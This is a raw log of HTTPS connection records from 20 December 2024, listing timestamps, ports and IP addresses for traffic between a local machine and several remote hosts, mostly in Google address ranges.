Dec 20, 2024 01:16:47.898406029 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.898459911 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.898488045 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.903470039 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.903523922 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.903563023 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.908490896 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.908548117 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.908571959 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.913583994 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.913635969 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.913647890 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.917382002 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.917435884 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.917448044 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.920697927 CET	49800	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:47.922507048 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.922559977 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.922574043 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.927437067 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.927488089 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.927500963 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.932528019 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.932581902 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.932595015 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.937479019 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.937531948 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.937544107 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.942781925 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.942883015 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.942897081 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.948297024 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.948349953 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.948362112 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.953322887 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.953362942 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.953368902 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.953386068 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.953449011 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.957825899 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.962934017 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.962994099 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.963006020 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.967895031 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.967936993 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.967947006 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.967958927 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.968012094 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.973031044 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.977807999 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.977850914 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.977906942 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.977920055 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.977987051 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.987715960 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.991463900 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.991513014 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.991519928 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.991539955 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:47.991589069 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:47.999248028 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.002784014 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.002856016 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.002871037 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.002886057 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.002939939 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.006299019 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.011152983 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.011209965 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.011224031 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.016132116 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.016191006 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.016204119 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.020718098 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.020790100 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.020802021 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.025525093 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.025646925 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.025671005 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.025685072 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.026046038 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.030214071 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.030282974 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.030339956 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.030353069 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.034974098 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.035032034 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.035046101 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.039777040 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.039823055 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.039835930 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.044557095 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.044611931 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.044627905 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.049957991 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.050242901 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.050270081 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.050734997 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.050868034 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.050942898 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.050956011 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.051018953 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.051140070 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.051146984 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.051188946 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.051217079 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.053332090 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.053380966 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.053394079 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.066281080 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.066334009 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.066346884 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.068345070 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.068468094 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.068645954 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:48.068677902 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:48.089039087 CET	443	49799	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.090915918 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.091944933 CET	443	49799	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.091993093 CET	49799	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.092941046 CET	49799	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.092973948 CET	443	49799	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.626399040 CET	443	49800	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.626518011 CET	443	49800	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.626606941 CET	49800	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.626652002 CET	443	49800	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.627233028 CET	49800	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.627351999 CET	443	49800	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.627409935 CET	49800	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.627985954 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.628040075 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.628123999 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.628545046 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.628571987 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.745033979 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:48.745260954 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:48.745290041 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:48.745748043 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:48.746054888 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:48.746141911 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:48.746187925 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:48.787375927 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:48.863662958 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.866364002 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:48.866453886 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.866816998 CET	49804	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:48.866843939 CET	443	49804	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:49.553792953 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.553865910 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.553904057 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.553973913 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:49.554007053 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.554049015 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:49.558759928 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.558821917 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.558876038 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:49.773768902 CET	49806	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:49.773807049 CET	443	49806	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:49.935714960 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:49.935802937 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:49.935885906 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:49.936193943 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:49.936224937 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:50.327815056 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.328027964 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:50.328046083 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.329263926 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.329329967 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:50.330425024 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.330472946 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:50.330580950 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:50.330646038 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.330692053 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:50.371376038 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.384708881 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:50.384736061 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:50.426508904 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.140423059 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:51.140538931 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:51.140590906 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.140618086 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:51.141093969 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.141177893 CET	443	49811	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:51.141366005 CET	49811	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.142010927 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.142047882 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:51.142152071 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.142539978 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:51.142546892 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:51.316633940 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:51.316718102 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:51.316801071 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:51.316953897 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:51.316992044 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:51.317080021 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:51.317586899 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:51.317598104 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:51.317723989 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:51.317763090 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:51.638225079 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:51.663589001 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:51.663623095 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:51.665113926 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:51.665188074 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:51.665705919 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:51.665791035 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:51.665918112 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:51.707091093 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:51.707112074 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:51.755346060 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:52.447020054 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:52.447091103 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:52.447124958 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:52.447143078 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:52.447185993 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:52.447238922 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:52.448259115 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:52.448333979 CET	443	49817	172.217.19.228	192.168.2.4
Dec 20, 2024 01:16:52.448385954 CET	49817	443	192.168.2.4	172.217.19.228
Dec 20, 2024 01:16:52.842808008 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.843086004 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:52.843100071 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.844350100 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.844412088 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:52.846836090 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.846911907 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:52.847039938 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:52.847148895 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:52.847152948 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.847207069 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.887486935 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:52.887494087 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:52.934017897 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.016817093 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.017106056 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.017115116 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.018208027 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.018575907 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.018599987 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.018748999 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.018922091 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.018984079 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.018999100 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.019542933 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.019961119 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.020060062 CET	443	49821	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.059355974 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.059788942 CET	49821	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.645004034 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:53.645138979 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:53.645188093 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.645206928 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:53.646558046 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.646651983 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:53.646822929 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.648474932 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.648597002 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:53.648845911 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.649113894 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:53.649151087 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:53.882448912 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.882642984 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:53.884727955 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.888173103 CET	49822	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:53.888187885 CET	443	49822	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:54.787090063 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:54.787215948 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:54.787286043 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:54.787615061 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:54.787652016 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.354348898 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.354796886 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.354876041 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.356132984 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.356210947 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.358616114 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.358684063 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.359035969 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.359172106 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.359189987 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.401099920 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.401159048 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:55.446947098 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:55.694310904 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:55.694386005 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:55.694493055 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:55.694751024 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:55.694781065 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:55.695002079 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:55.695008993 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:55.695034027 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:55.695190907 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:55.695205927 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:56.162023067 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.162131071 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.162197113 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.162241936 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.162590981 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.162678957 CET	443	49827	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.162887096 CET	49827	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.163181067 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.163235903 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.163297892 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.163784981 CET	49838	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.163814068 CET	443	49838	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.483385086 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.483607054 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.483669043 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.484004974 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.484316111 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.484396935 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:56.484496117 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.484580040 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:56.484616041 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.160182953 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.166006088 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.194853067 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.194879055 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.195291996 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.195358992 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.198740005 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.198801041 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.199248075 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.199330091 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.209562063 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.209767103 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.211067915 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.211184025 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.211191893 CET	443	49836	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.211275101 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.234160900 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.237149000 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.237350941 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.237910032 CET	49831	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:57.237948895 CET	443	49831	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:57.256156921 CET	49836	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.265609980 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.265645027 CET	443	49835	188.119.66.154	192.168.2.4
Dec 20, 2024 01:16:57.306677103 CET	49835	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:16:57.716239929 CET	443	49836	188.119.66.154	192.168.2.4
